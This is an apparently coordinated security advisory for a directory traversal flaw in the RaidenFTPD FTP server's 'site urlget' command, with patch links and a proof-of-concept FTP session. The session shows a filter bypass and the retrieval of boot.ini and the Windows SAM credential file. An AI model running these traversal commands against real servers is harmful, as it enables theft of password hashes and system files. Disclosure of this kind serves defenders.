Product : RaidenFTPD   

Affected Versions : < 2.4.2241

***

Author: Lachlan. H

Date vendor notified:   19/04/2005

Patch released:   20/04/2005

Disclosure:    02/05/2005


***

Product Description:

RaidenFTPD is an easy-to-use ftp server software for
Windows™. With this handy tool you can share your
files with friends, provide file download services to
customers or even setup your own private network file
server. Not only are all the basic FTP server features
built-in; it also features various advanced features
such as SSL/TLS, UTF8, UPnP NAT traversal and more ..

***

Problem: 

Directory Traversal - Failure to validate input for
the site command 'urlget'. 

Using urlget it's possible for a normal user to escape
ftproot and download known files from restricted
directories.

The JohnLong Team acted promptly to resolve the issue.

***

Fix:

http://www.raidenftpd.com/en/

FULL :
http://www.raidenmaild.com/download/raidenftpd2.exe
UPDATE :
http://www.raidenmaild.com/download/update.exe

***

PoC:

230 User ****** logged in.
 ftp> quote site urlget file://\..\\boot.ini
550 site urlget failed : hacking attempt , you have
been logged.
ftp> quote site urlget file:/..\\boot.ini
220 site urlget : downloading
file:/..\\boot.ini->boot.ini
ftp> ls
200 Port command ok.
150 Opening ASCII data connection for ls /.
boot.ini
226-free disk space under this directory : 28919 mb
226 Transfer finished successfully. 
Data connection closed .
ftp: 10 bytes received in 0.00 Seconds
10000.00Kbytes/sec.
ftp> quote site urlget file:/..\\winnt/repair/sam
220 site urlget : downloading
file:/..\\winnt/repair/sam->sam
ftp> ls
200 Port command ok.
150 Opening ASCII data connection for ls /.
boot.ini
sam
226-free disk space under this directory : 28919mb
226 Transfer finished successfully. 
Data connection closed .
ftp: 15 bytes received in 0.00Seconds
15000.00Kbytes/sec.
ftp>

***


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com